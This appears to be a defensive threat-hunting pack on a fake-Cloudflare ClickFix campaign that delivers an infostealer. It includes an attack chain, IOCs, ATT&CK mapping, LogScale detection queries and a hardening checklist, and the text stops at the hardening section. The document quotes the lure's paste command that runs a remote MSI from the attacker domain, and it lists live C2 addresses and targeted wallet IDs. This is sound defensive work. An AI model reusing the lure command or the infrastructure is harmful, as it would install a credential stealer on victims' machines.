Psychedelic Stealer — ClickFix Fake-Cloudflare Campaign

Windows infostealer delivered via a Windows-Installer ClickFix lure injected into compromised legitimate Ukrainian business websites, posing as a Cloudflare human-verification page.
Threat
Psychedelic Stealer
Severity
HIGH — ACTIVE CAMPAIGN
Type
Info-Stealer / ClickFix Loader Chain
Access
Public
Version
v0.1 · 2026-09-25
Author
HuntPack
Confidence
High — 2-source corroborated, vendor technical report
01

Executive Summary

Arctic Wolf Labs is tracking an ongoing campaign that compromises legitimate Ukrainian business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injects an iframe that loads a fake, Ukrainian-language Cloudflare "human verification" page. Instead of the usual encoded PowerShell ClickFix payload, this campaign poisons the clipboard with a msiexec.exe /i <url>.msi /passive command and instructs the visitor to paste it into the Windows Run dialog. The MSI retrieves a previously undocumented 64-bit Windows infostealer that Arctic Wolf named Psychedelic Stealer after its embedded configuration tag. The implant harvests Chromium browser passwords, account tokens, and cryptocurrency-wallet data (browser-extension and desktop-wallet), installs a browser native-messaging bridge, persists via a logon-triggered scheduled task named psychedelicloveUtils, and polls a hardcoded C2 for further tasking (including arbitrary EXE/MSI/PowerShell execution).

The attacker's own operational infrastructure is short-lived and same-day: the delivery domain uasputnik[.]com was registered 2026-09-09 and lure activity was already observed within days. An exposed lure-management panel (branded "РУБЛЁВКА TDS" / Rublevka TDS) recorded 557 views, 426 clicks and 79 "complete" events across 32 countries, 446/351/71 of them from Ukraine, confirming the Ukraine-focused targeting.

The attacker's highest point of leverage is the moment the victim executes a Windows-Installer command they pasted themselves: it bypasses browser and mail-gateway file-download controls entirely. The defender's highest point of leverage is the same moment, from the other side: a Run-dialog-parented msiexec.exe invoking a remote, non-corporate MSI URL is a rare, high-fidelity, one-line detection that predates payload execution, persistence, and theft altogether (Section 8, Q1).

Defender priority: the browser-side delivery (iframe injection on the compromised site, and the clipboard write itself) generates no Falcon endpoint telemetry. Detection coverage starts at the moment the pasted command executes. Treat Q1/Q2 (Section 8) as the primary control and pair them with the DNS-filtering and clipboard-policy hardening in Section 12 to cover the pre-execution gap.
02

Source Review & Web Hunter Notes

TierSourceKey FindingCarry Forward
PrimaryArctic Wolf Labs technical reportFull attack chain, C2 API path table, malware analysis (routine offsets, capabilities), IOC inventory, WHOIS/infrastructure timeline, and the vendor's own hunting leadsYes — primary source for the entire pack
CorroboratingThe Hacker News (2026-09-24)Independent write-up citing the Arctic Wolf report directly; confirms the affected-site list and is the only saved snapshot that enumerates the full 7-name MSI payload set (elita/miks/astra/harbor/neon/sova/vyse)Yes — used to corroborate delivery-stage filenames
Corroborating (partial capture)Techzine GlobalIndependent summary confirming attack mechanism, capabilities and telemetry figuresPartial — direct HTML fetch was blocked (HTTP 403) from every User-Agent tried and has no Wayback Machine snapshot; the saved snapshot is a tool-mediated text extraction, used for corroboration only, never as the sole source for an atomic IOC
Droppeddev.ua coverage (khakery-zlamuiut-ukrainski-saity-1790327470)N/ANo — returned HTTP 403 on every direct-fetch attempt (curl, 3 User-Agent variants) and via the WebFetch tool; no Wayback Machine snapshot exists. Not cited anywhere in this pack.
ReferenceMITRE ATT&CK T1204.004Confirms "Malicious Copy and Paste" as the current ATT&CK classification for ClickFix-style clipboard executionYes — used for Section 6 mapping

Web-hunter decisions

  • Every atomic indicator shipped in this pack (hashes, IPs, domains, filenames, task name, extension IDs) is drawn verbatim from the Arctic Wolf and/or The Hacker News snapshots. Nothing from the Techzine summary or from general knowledge was used to originate an indicator.
  • Arctic Wolf explicitly frames its interaction telemetry (view/click/"complete") as not proof of execution or compromise; this pack preserves that caveat rather than treating panel "complete" events as confirmed infections (see Section 3).
  • No prompt-injection or embedded instructions directed at an AI/automation tool were found in either fetched source. Both read as ordinary vendor/press technical prose.
03

Hunt Brief & Attack Chain

Hunt hypotheses (ordered by fidelity)

  1. H1 (high): msiexec.exe is launched with explorer.exe as its parent (Windows Run dialog) and a command line containing a remote HTTP(S) MSI URL. This is the single highest-value signal in the whole chain: it fires before payload execution, is rare in normal enterprise use, and directly corresponds to how the campaign forces execution.
  2. H2 (high): A msiexec.exe /passive install carries the campaign's distinctive ORG_NOTE= MSI property containing the Ukrainian "verification" text — a string unique to this lure's clipboard payload.
  3. H3 (high): A process or file named psychedeliclove.exe executes, or the confirmed SHA-256 is observed.
  4. H4 (high): A logon-triggered scheduled task named psychedelicloveUtils is registered — the implant's sole documented persistence mechanism.
  5. H5 (high): A host makes an outbound connection to the hardcoded implant C2 (193.178.159.128:8080) or the next-stage payload host (107.175.82.242:9000).
  6. H6 (medium): A host resolves the delivery domain uasputnik[.]com or the iframe-loader domain fsputnik[.]com — useful as an early pivot but weaker alone (DNS resolution does not prove the MSI was fetched or executed).
  7. H7 (medium): Native-messaging bridge artifacts (host.ps1, host.bat, com.lunex.explorer.json) are written to a browser profile directory.
  8. H8 (medium): A non-browser process reads Chromium credential stores (Login Data, Web Data, Local State) or known wallet-extension storage paths.

Attack chain

#StepTelemetryHunt Angle
1Victim browses a compromised legitimate Ukrainian business site carrying an injected iframe that loads fsputnik[.]com/tds/tracker[.]jsGAP — browser-rendered content, no Falcon endpoint telemetryWebsite-side: file-integrity monitoring / CMS audit trail on hosted client sites (Section 7)
2Fake Cloudflare "verification" page renders; visitor clicks the CAPTCHA container, which fires report('click') then copyToClipboard(currentPayload), silently writing the msiexec command to the clipboardGAP — browser clipboard API write, no endpoint telemetryEnterprise browser policy: block programmatic clipboard writes (Section 12/13)
3Victim presses Win+R, pastes, presses Enter — msiexec.exe /i "https://uasputnik[.]com/elita.msi" /passive ORG_NOTE="…" executesGood — ProcessRollup2 (parent=explorer.exe)Q1, Q2, Q3 (Section 8)
4MSI installs an associated component that decrypts a next-stage URL and retrieves psychedeliclove.exe from 107.175.82.242:9000/wilow/Good — NetworkConnectIP4, subsequent file writeQ6 (network), correlate with Q1
5psychedeliclove.exe (64-bit) executes on the hostGood — ProcessRollup2 / hash matchQ4
6Logon-triggered scheduled task psychedelicloveUtils registered for persistence; extensive host profiling collectedGood — ScheduledTaskRegisteredQ5
7Implant terminates selected browser processes, extracts an embedded extension archive into browser profiles, drops host.ps1/host.bat/com.lunex.explorer.json for a native-messaging bridge named com.lunex.explorerPartial — file-write telemetry coverage for non-PE script/JSON writes is sensor/tenant dependentQ8 (⚠ validate in tenant)
8Implant reads Chromium Login Data/Web Data/Local State and wallet-extension/desktop-wallet storage; builds structured records (bot_id, browser, profile, URL, username, password / service, gaia_id, token)Partial — requires file-read telemetry (FileOpenInfo/FileReadInfo)Q9 (⚠ validate in tenant)
9Check-in and data exfil to hardcoded C2 193.178.159.128:8080 via /api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets; ongoing tasking via /api/v1/agent/tasks?hwid=%s can deliver further EXE/COM/BAT/CMD/MSI/PowerShellGood — NetworkConnectIP4Q6; any attachment execution reprocesses through Q1/Q3-style hunts

Note on the lure-management panel: Arctic Wolf explicitly states panel "view", "click" and "complete" events measure interaction with the web lure only and do not independently confirm clipboard success, command execution, or host compromise. This pack does not treat panel telemetry as confirmed infection evidence anywhere below.

04

Consolidated IOC Table

TypeValueConfidenceActionContextExpiry
domainuasputnik.comhighdetectLure/panel/MSI-delivery hostname; registered 2026-09-09 17:02:25 UTC2027-03-25
domainfsputnik.comhighdetectInjected-iframe JS loader (/tds/tracker.js)2027-03-25
ipv4107.175.82.242highdetectNext-stage payload host, TCP 9000, serves /wilow/psychedeliclove.exe2027-03-25
ipv4193.178.159.128highdetectHardcoded implant C2, TCP 80802027-03-25
ipv4176.53.159.40mediumhuntA-record association with uasputnik.com, 2026-09-09 to 2026-09-14 (AS154383 ZORNTECH WEB SOLUTIONS); not itself confirmed hosting infrastructure2026-12-25
urlhttps://uasputnik.com/elita.msihighdetectFirst-stage MSI download URL from the clipboard command2027-03-25
sha25638e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878highdetectelita.msi installer hash2027-03-25
sha25606f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90highdetectpsychedeliclove.exe stealer payload (64-bit)2027-03-25
filenamepsychedeliclove.exehighdetectFinal payload filename2027-03-25
filenameelita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msimediumhuntObserved first-stage MSI package filenames; rotated across the observation window, filename alone is weak without the delivery domain2026-12-25
tasknamepsychedelicloveUtilshighdetectLogon-trigger persistence scheduled task name2027-03-25
othercom.lunex.explorer / com.lunex.explorer.jsonmediumhuntNative-messaging bridge name / manifest filename2026-12-25
otherhost.ps1 / host.batlowhuntGeneric bridge-component filenames; pair with a co-located payload hit before escalating2026-12-25
otherexecuted_tasks.jsonlowhuntLocal C2-task-state tracking artifact2026-12-25
stringPsychedelicmediumenrichEmbedded implant configuration tag; source of the malware name2026-10-25
stringРУБЛЁВКА TDS / Rublevka TDSlowenrichExposed lure-management panel branding2026-10-25
wallet-ext-idnkbihfbeogaeaoehlefnkodbefgpgknn, ejbalbakoplchlghecdalmeeeajnimhm (MetaMask); egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet); mcohilncbfahbmgdjkbpemcciiolgcge, pbpjkcldjiffchgbbndmhojiacbgflha (OKX Wallet); lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal)mediumhuntChrome/Edge extension IDs the implant's wallet-collection routine targets2026-12-25
05

Affected Surface & Telemetry Matrix

SurfaceRequired TelemetryPriorityGap Risk
Windows endpoint — process executionProcessRollup2 / SyntheticProcessRollup2CriticalLow — standard sensor coverage
Windows endpoint — scheduled tasksScheduledTaskRegisteredCriticalLow
Windows endpoint — network egressNetworkConnectIP4, DnsRequestCriticalLow
Windows endpoint — file read of credential/wallet storesFileOpenInfo / FileReadInfoHighMedium-High — read-event capture is licensing/config dependent; validate coverage before relying on Q9 alone
Windows endpoint — non-PE file writes (.ps1/.bat/.json)PeFileWritten / NewExecutableWritten (partial coverage for scripts)MediumMedium — these events are documented for PE/script-adjacent writes but exact coverage of arbitrary text-file writes should be confirmed per sensor version
Browser (Chromium) — clipboard API, iframe renderingNone available from the Falcon endpoint sensorCriticalFull gap — compensating controls only (Section 12/13)
Compromised web-hosting infrastructure (client sites)Web server / CMS audit logs, file-integrity monitoringHigh for MSPs hosting client sitesFull gap from the endpoint sensor's perspective; must be covered at the hosting layer
06

ATT&CK Mapping

TacticTechniqueNameObserved Behavior
Initial AccessT1189Drive-by CompromiseInjected iframe on a compromised legitimate Ukrainian business site loads attacker JS (fsputnik[.]com/tds/tracker.js)
ExecutionT1204.004User Execution: Malicious Copy and PasteFake Cloudflare CAPTCHA copies a command to the clipboard and instructs the visitor to paste it into Windows Run
Execution / Defense EvasionT1218.007System Binary Proxy Execution: Msiexecmsiexec.exe /i <remote-MSI> /passive used instead of the more commonly-detected encoded PowerShell ClickFix pattern
Command and Control / ExecutionT1105Ingress Tool TransferMSI-associated component decrypts and retrieves the next-stage payload psychedeliclove.exe from 107.175.82.242:9000
PersistenceT1053.005Scheduled TaskLogon-triggered scheduled task psychedelicloveUtils
Persistence / CollectionT1176Browser ExtensionsImplant extracts an embedded extension archive into browser profiles and installs a native-messaging bridge (com.lunex.explorer)
Defense EvasionT1036MasqueradingFake Cloudflare verification page with forged Ray ID and visitor identifier; ORG_NOTE property mimics legitimate MSI metadata; nearby decrypted strings reference MsMpEng.exe/explorer.exe
Credential AccessT1555.003Credentials from Password Stores: Web BrowsersExtracts URL/username/decrypted-password records from Chromium browsers, submits to /api/v1/ext/passwords
Credential AccessT1539Steal Web Session CookieReads the Chromium Web Data DB for service/gaia_id/token records, submits to /api/v1/ext/tokens
Credential Access / CollectionT1552.001Unsecured Credentials: Credentials In FilesTargets browser-extension wallet storage (MetaMask, Trust Wallet, OKX, SafePal) and desktop-wallet files (Exodus, Atomic, Electrum, Bitcoin Core, Litecoin Core)
DiscoveryT1082 / T1033System Information / Owner-User DiscoveryExtensive host profiling: computer name, username, OS, CPU, memory, GPU, disk, timezone, language, screen, MAC, admin status, AV, installed browsers
Command and ControlT1071.001Application Layer Protocol: Web ProtocolsHTTP C2 to 193.178.159.128:8080 with check-in, heartbeat, task-polling and exfil endpoints, keyed by a sample-specific X-API-Key header
07

Native Audit-Log Hunts

For hosts without Falcon coverage, or to cross-validate Section 8, use native Windows / infrastructure logging:

  • Windows Security Event ID 4688 (process creation, requires command-line auditing enabled): filter New Process Name = msiexec.exe, Creator Process Name = explorer.exe, command line containing /passive or an http(s):// URL.
  • MsiInstaller Event ID 1040/1042 (Application log): captures the source of an MSI install, including a remote URL source, independent of Falcon.
  • Task Scheduler Operational log Event ID 4698 (task registered): filter Task Name containing psychedelicloveUtils.
  • Sysmon (hosts without EDR): Event ID 1 (Process Create) for the msiexec/psychedeliclove.exe pattern, Event ID 3 (Network Connect) for the two C2/staging IPs, Event ID 11 (File Create) for host.ps1/host.bat/com.lunex.explorer.json.
  • DNS resolver / secure web gateway logs: query for resolutions of uasputnik.com and fsputnik.com even where Falcon DnsRequest telemetry is unavailable or disabled.
  • Chrome/Edge enterprise policy compliance report: verify the ClipboardAllowedForUrls / DefaultClipboardSetting policy (Section 13, Playbook 1) is actually applied fleet-wide — this is the compensating control for the sensor-blind clipboard step.
  • Web-hosting / CMS audit trail (for MSPs or businesses hosting client-facing sites of the small-business profile this campaign targets): review file-integrity-monitoring alerts or CMS admin/audit logs for unauthorized template or iframe modifications. This is the only realistic detection point for the initial iframe injection step, which no endpoint sensor observes.
08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.
Q1 · Run-Dialog-Parented msiexec.exe Fetching a Remote MSI (Primary Signal)
CONF HIGHFP LOWCOST LOW

Looks for: msiexec.exe launched with explorer.exe as its immediate parent (the Windows Run dialog is hosted inside explorer.exe) and a command line requesting a remote HTTP(S) install. FP: legitimate remote MSI installs launched interactively via Run are rare in a managed fleet and worth investigating on their own merits.

// HUNT: ClickFix-style msiexec.exe launched from the Windows Run dialog, fetching a remote MSI package
// MITRE: T1204.004, T1218.007
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 (Windows sensor)
// FALSE POSITIVES: interactive admin-run remote MSI installs via Run dialog are rare -- treat any hit as worth investigating
// LOOKBACK: 7d (set in the Falcon time picker)
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^msiexec\.exe$/i
| ParentBaseFileName=/^explorer\.exe$/i
| CommandLine=/\/i\s+["']?https?:\/\//i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc)
Q2 · msiexec.exe /passive With the Campaign's ORG_NOTE Lure Signature
CONF HIGHFP LOWCOST LOW

Looks for: the exact MSI property (ORG_NOTE=) the lure's clipboard command carries alongside /passive. FP: none expected — this property name plus its Ukrainian "verification" value is unique to this lure.

// HUNT: msiexec.exe /passive install carrying the ClickFix lure's ORG_NOTE verification-text property
// MITRE: T1218.007, T1204.004
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2
// FALSE POSITIVES: none expected -- ORG_NOTE is not a standard MSI property in legitimate deployment tooling
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^msiexec\.exe$/i
| CommandLine=/\/passive/i
| CommandLine=/ORG_NOTE=/i
| table([@timestamp, ComputerName, UserName, CommandLine])
| sort(@timestamp, order=desc)
Q3 · msiexec.exe Referencing the Delivery Domain or Known First-Stage MSI Names
CONF HIGHFP LOWCOST LOW

Looks for: uasputnik.com or any of the seven observed first-stage MSI filenames in a msiexec command line. FP: low — these filenames are generic in isolation, which is why this query pairs them with the domain in the same alternation rather than alerting on filename alone.

// HUNT: msiexec.exe command line referencing the campaign delivery domain or a known first-stage MSI filename
// MITRE: T1105, T1218.007
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^msiexec\.exe$/i
| CommandLine=/uasputnik\.com|(elita|miks|astra|harbor|neon|sova|vyse)\.msi/i
| table([@timestamp, ComputerName, UserName, CommandLine])
| sort(@timestamp, order=desc)
Q4 · Psychedelic Stealer Payload Execution
CONF HIGHFP LOWCOST LOW

Looks for: execution of psychedeliclove.exe by name or the confirmed SHA-256. FP: low — both the filename and the hash are campaign-specific.

// HUNT: Execution of the Psychedelic Stealer payload (psychedeliclove.exe), by filename or confirmed SHA-256
// MITRE: T1105, T1204.004
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^psychedeliclove(\.exe)?$/i or SHA256HashData=/^06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, SHA256HashData, CommandLine])
| sort(@timestamp, order=desc)
Q5 · psychedelicloveUtils Scheduled-Task Persistence
CONF HIGHFP LOWCOST LOW

Looks for: registration of the implant's own-named logon scheduled task. FP: low — the task name is campaign-specific.

// HUNT: Logon-triggered scheduled task named psychedelicloveUtils (Psychedelic Stealer persistence)
// MITRE: T1053.005
// CONF: high  FP: low  COST: low
// REQUIRES: ScheduledTaskRegistered
// LOOKBACK: 7d
#event_simpleName=ScheduledTaskRegistered
| TaskName=/psychedelicloveUtils/i
| table([@timestamp, ComputerName, UserName, TaskName])
| sort(@timestamp, order=desc)
Q6 · Network Connections to Psychedelic Stealer C2 / Staging Infrastructure
CONF HIGHFP LOWCOST LOW

Looks for: outbound connections to the hardcoded implant C2 (193.178.159.128:8080) or the next-stage payload host (107.175.82.242:9000). FP: low — both are non-CDN, campaign-dedicated IP:port pairs.

// HUNT: Network connections to Psychedelic Stealer C2 (193.178.159.128:8080) or next-stage payload host (107.175.82.242:9000)
// MITRE: T1071.001, T1105
// CONF: high  FP: low  COST: low
// REQUIRES: NetworkConnectIP4
// LOOKBACK: 7d
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4=/^(193\.178\.159\.128|107\.175\.82\.242)$/
| RemotePort=/^(8080|9000)$/
| table([@timestamp, ComputerName, UserName, ContextBaseFileName, RemoteAddressIP4, RemotePort])
| sort(@timestamp, order=desc)
Q7 · DNS Resolution of Campaign Domains (Pivot / Early-Warning)
CONF MEDIUMFP LOWCOST LOW

Looks for: DNS lookups for the lure/delivery domain uasputnik.com or the iframe-loader domain fsputnik.com. FP: low, but per Arctic Wolf's own guidance a DNS hit alone does not prove the MSI was fetched or executed — correlate with Q1-Q4 before escalating.

// HUNT: DNS requests for Psychedelic Stealer infrastructure (lure/delivery uasputnik.com, iframe-loader fsputnik.com)
// MITRE: T1071.001, T1189
// CONF: medium  FP: low  COST: low
// REQUIRES: DnsRequest
// LOOKBACK: 7d
#event_simpleName=DnsRequest
| DomainName=/uasputnik\.com|fsputnik\.com/i
| table([@timestamp, ComputerName, UserName, ContextBaseFileName, DomainName])
| sort(@timestamp, order=desc)
Q8 · Native-Messaging Bridge Artifact Writes
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: the implant's browser-bridge component files (host.ps1, host.bat, com.lunex.explorer/.json). FP: medium — host.ps1/host.bat are generic names that could collide with unrelated internal tooling; pair with a Q4 hit before escalating.

// HUNT: Native-messaging bridge artifact files written by Psychedelic Stealer's browser-component installer (host.ps1, host.bat, com.lunex.explorer / .json)
// MITRE: T1176, T1036
// CONF: medium  FP: medium  COST: low
// REQUIRES: PeFileWritten / NewExecutableWritten -- coverage of non-PE script/JSON writes is sensor/tenant dependent, validate before relying on this alone (⚠ validate in tenant)
// FALSE POSITIVES: host.ps1 / host.bat are generic names -- do not action a solo hit
// TUNING: require this query to co-occur with a Q4 (psychedeliclove.exe) hit on the same aid within the lookback window before escalating to a ticket
// LOOKBACK: 7d
#event_simpleName=/PeFileWritten|NewExecutableWritten/
| TargetFileName=/host\.(ps1|bat)$/i or TargetFileName=/com\.lunex\.explorer(\.json)?$/i
| table([@timestamp, ComputerName, UserName, TargetFileName])
| sort(@timestamp, order=desc)
Q9 · Non-Browser Process Reading Browser Credential/Wallet Stores
CONF MEDIUMFP MEDIUMCOST MEDIUM

Looks for: a process other than the browser itself reading Login Data/Web Data/Local State or a targeted wallet-extension storage path. FP: medium — password managers and backup/sync agents legitimately read the same paths.

// HUNT: Non-browser process access to Chromium credential stores or known wallet-extension storage (Psychedelic Stealer harvesting stage)
// MITRE: T1555.003, T1539, T1552.001, T1005
// CONF: medium  FP: medium  COST: medium
// REQUIRES: FileOpenInfo / FileReadInfo -- confirm read-event capture is licensed/enabled in your tenant (⚠ validate in tenant)
// FALSE POSITIVES: browser-sync tools, password-manager extensions, and endpoint backup agents also read these paths
// TUNING: exclude ImageFileName values for the browsers themselves and known-good password managers reading their own data, e.g. !in(ImageFileName, values=["chrome.exe","msedge.exe","brave.exe","opera.exe","opera_gx.exe","vivaldi.exe","yandex.exe","1password.exe","lastpass.exe"])
// LOOKBACK: 7d
#event_simpleName=/FileOpenInfo|FileReadInfo/
| TargetFileName=/(Login Data|Web Data|Local State)$/i or TargetFileName=/Local Extension Settings\\(nkbihfbeogaeaoehlefnkodbefgpgknn|ejbalbakoplchlghecdalmeeeajnimhm|egjidjbpglichdcondbcbdnbeeppgdph|mcohilncbfahbmgdjkbpemcciiolgcge|pbpjkcldjiffchgbbndmhojiacbgflha|lgmpcpglpngdoalbgeoldeajfclnhafa)/i
| !in(ImageFileName, values=["chrome.exe","msedge.exe","brave.exe","opera.exe","opera_gx.exe","vivaldi.exe","yandex.exe","1password.exe","lastpass.exe"])
| table([@timestamp, ComputerName, UserName, ImageFileName, TargetFileName])
| sort(@timestamp, order=desc)
09

Custom IOA Recommendations

IOA candidates

IOA NameSource QueryPatternExclusionsDeployment Path
DETECT — ClickFix msiexec Remote MSI via Run DialogQ1FileName=msiexec.exe AND ParentBaseFileName=explorer.exe AND CommandLine matches /i "https?://...Known internal software-deployment tooling that legitimately spawns msiexec as a child of explorer.exe (rare; verify per fleet before enabling in Prevent mode)Start in Detect for 1-2 weeks against the Q1 hunt query results, then promote to Prevent
DETECT/PREVENT — Psychedelic Stealer PayloadQ4SHA256 = confirmed hash, or FileName regex ^psychedeliclove(\.exe)?$None — campaign-specific hash/nameShips at detect in the Section 10 CSV, matching Section 4. The payload SHA-256 is the one indicator in this pack safe to promote to Prevent once you have validated it in your tenant, because a hash cannot be reassigned the way a domain or IP can (Section 11, network-IOC promotion row)
DETECT — psychedelicloveUtils Scheduled TaskQ5TaskName matches psychedelicloveUtilsNone — campaign-specific stringDetect-only Scheduled Search; task-name IOAs are not typically promoted to Prevent

Alert package — DETECT: ClickFix msiexec Remote MSI via Run Dialog (Q1)

Scheduled Search description: Fires when msiexec.exe is spawned directly from the Windows Run dialog (parent explorer.exe) with a command line requesting a remote HTTP(S) MSI. This is the earliest reliable detection point in the Psychedelic Stealer chain and generalizes to other ClickFix-via-msiexec campaigns.

Alert email subject: [HIGH] Detection: Psychedelic Stealer ClickFix -- Run-dialog msiexec fetching remote MSI

Alert email body: A host executed msiexec.exe as a direct child of explorer.exe (consistent with a Windows Run dialog paste) referencing a remote MSI package over HTTP(S). This matches the delivery mechanism of the Psychedelic Stealer / fake-Cloudflare ClickFix campaign (Arctic Wolf Labs, 2026-09-24): the user was very likely shown a fake CAPTCHA/verification page and instructed to paste this command. Immediate actions: (1) network-isolate the host pending triage, (2) capture the full command line and the referenced MSI URL/hash, (3) check for a subsequent psychedeliclove.exe execution or connections to 107.175.82.242:9000 / 193.178.159.128:8080, (4) if either is present, treat browser-stored credentials and any crypto wallets on the host as compromised and begin credential rotation.

Triage checklist

  1. Pull the full CommandLine and confirm the referenced MSI URL/domain against the IOC table (Section 4).
  2. Check whether the MSI actually installed (subsequent child processes of msiexec.exe, or a new file matching a known MSI name).
  3. Run Q4 for the same aid to check for psychedeliclove.exe execution.
  4. Run Q5 for the same aid to check for psychedelicloveUtils scheduled-task creation.
  5. Run Q6 for the same aid to check for connections to either C2/staging IP.
  6. If any of the above hit: treat all browser-saved credentials, session tokens, and any cryptocurrency wallets present on the host as compromised; force credential rotation and revoke active sessions for affected accounts.
  7. Interview the user: which site were they on, did they see a "human verification" prompt, did they paste a command into Run.
  8. If the referenced site is one your organization or an MSP client hosts, notify the site owner — it is likely compromised and serving the injected iframe to other visitors right now.

Pivot queries

  • Host-scoped: re-run Q1, Q4, Q5, Q6, Q8, Q9 filtered to the alerting aid across a 30-day window to reconstruct the full timeline.
  • Environment-wide: run Q6 and Q7 fleet-wide to find any other host that has ever talked to the campaign's C2/staging infrastructure or resolved its domains, even without an initial Q1 hit (covers hosts where the msiexec step predates this pack's deployment).

Q2, Q3, Q7, Q8, Q9 are investigate-only (hunt/pivot); no alert email is generated for them — they exist to enrich and corroborate a Q1/Q4/Q5/Q6 hit, not to page on their own.

10

Machine-Readable IOC Appendix

Grouped, one-click indicator blocks. All values below are drawn from the saved source snapshots (Section 2 / Section 18) and trace to Psychedelic-Stealer-ClickFix-Hunt-sources/.

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
domain,uasputnik.com,detect,high,2027-03-25,Psychedelic Stealer lure/panel/MSI-delivery hostname,campaign:PsychedelicStealer
domain,fsputnik.com,detect,high,2027-03-25,Psychedelic Stealer injected-iframe JS loader,campaign:PsychedelicStealer
ipv4,107.175.82.242,detect,high,2027-03-25,Psychedelic Stealer next-stage payload host (TCP 9000),campaign:PsychedelicStealer
ipv4,193.178.159.128,detect,high,2027-03-25,Psychedelic Stealer implant C2 (TCP 8080),campaign:PsychedelicStealer
ipv4,176.53.159.40,hunt,medium,2026-12-25,A-record association with uasputnik.com 2026-09-09 to 2026-09-14,campaign:PsychedelicStealer
url,https://uasputnik.com/elita.msi,detect,high,2027-03-25,Psychedelic Stealer first-stage MSI download URL,campaign:PsychedelicStealer
sha256,38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878,detect,high,2027-03-25,elita.msi installer hash,campaign:PsychedelicStealer
sha256,06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90,detect,high,2027-03-25,psychedeliclove.exe stealer payload,campaign:PsychedelicStealer
filename,psychedeliclove.exe,detect,high,2027-03-25,Psychedelic Stealer final payload filename,campaign:PsychedelicStealer
Behavioral SignaturesCQL fragments
# Run-dialog msiexec fetching a remote MSI (primary signal, see Q1)
FileName=/^msiexec\.exe$/i ParentBaseFileName=/^explorer\.exe$/i CommandLine=/\/i\s+["']?https?:\/\//i

# msiexec with the campaign's ORG_NOTE lure property (see Q2)
FileName=/^msiexec\.exe$/i CommandLine=/\/passive/i CommandLine=/ORG_NOTE=/i

# Logon-trigger scheduled task persistence (see Q5)
#event_simpleName=ScheduledTaskRegistered TaskName=/psychedelicloveUtils/i
Named Malware / Toolingreference strings
psychedeliclove.exe          - final stealer payload (64-bit)
elita.msi / miks.msi / astra.msi / harbor.msi / neon.msi / sova.msi / vyse.msi  - observed first-stage MSI filenames
psychedelicloveUtils          - logon scheduled task (persistence)
com.lunex.explorer(.json)     - native-messaging bridge name / manifest
host.ps1 / host.bat           - bridge component files (generic names, corroborate before acting)
executed_tasks.json           - local C2 task-state tracking artifact
<<BP_INSTALLER_HWID>>             - placeholder patched into deployed browser components
РУБЛЁВКА TDS / Rublevka TDS   - lure-management panel branding
Config / Policy Auditverification commands
# Confirm Chrome clipboard-write policy is enforced (Playbook 1)
reg query "HKLM\SOFTWARE\Policies\Google\Chrome" /v DefaultClipboardSetting

# Confirm the msiexec outbound-firewall rule exists (Playbook 2)
Get-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" | Select-Object Enabled,Action,Direction

# Audit currently registered scheduled tasks for the campaign task name (Playbook 3 / Q5 cross-check)
schtasks /query /fo LIST /v | Select-String -Pattern "psychedelicloveUtils"
11

Detection Validation Gates

GateCheckStatus / Owner Action
Telemetry readyProcessRollup2, ScheduledTaskRegistered, NetworkConnectIP4, DnsRequest confirmed flowing for target host groupConfirm sensor policy enables these event classes before enabling Q1-Q7 as Scheduled Searches
Telemetry ready (partial)FileOpenInfo/FileReadInfo and non-PE file-write coverage (Q8, Q9)⚠ validate in tenant — confirm licensing/config before trusting Q8/Q9 as anything more than best-effort
Benign baselineRun Q1 and Q3 over a 30-day historical window before enabling live alerting, to characterize any legitimate remote-MSI deployment tooling in the environmentAdd any confirmed-legitimate tool to the Q1/IOA exclusion list
Positive testsConfirm each query's field/event names against a live tenant sample row (per crowdstrike-logscale-v3 guidance) before promotionField names in this pack are checked against the published Falcon data-model reference; event coverage for FileOpenInfo/FileReadInfo/non-PE writes still needs a tenant-side confirmation
PromotionQ1 and Q4 are Prevent/Detect IOA candidates (Section 9); Q2, Q3, Q5, Q6, Q7 stay Detect/hunt; Q8, Q9 stay investigate-only until file-telemetry coverage is confirmedReview after first 2 weeks of live data
Promotion (network IOCs)Every indicator in the Section 4 table and the Section 10 CSV ships at detect or hunt, never prevent. All of them are single-sourced to the Arctic Wolf report, and the two IPs sit on commodity hosting where addresses are reassignedDo not promote a domain or IP to Prevent on this pack alone. Require a second independent source confirming the infrastructure is still attacker-controlled, plus a check of your own egress logs for legitimate traffic to the same address. The payload SHA-256 is the safest promotion candidate, since a hash cannot be reassigned
12

Hardening — Tiered & Deployable

Controls are tiered by deployment friction and cover the three surfaces this threat actually touches: the Windows endpoint, the Chromium browser, and DNS/network egress. A fourth surface, the web-hosting layer that hosts the compromised business sites, is out of scope for endpoint tooling and is called out separately.

Immediate (this week)
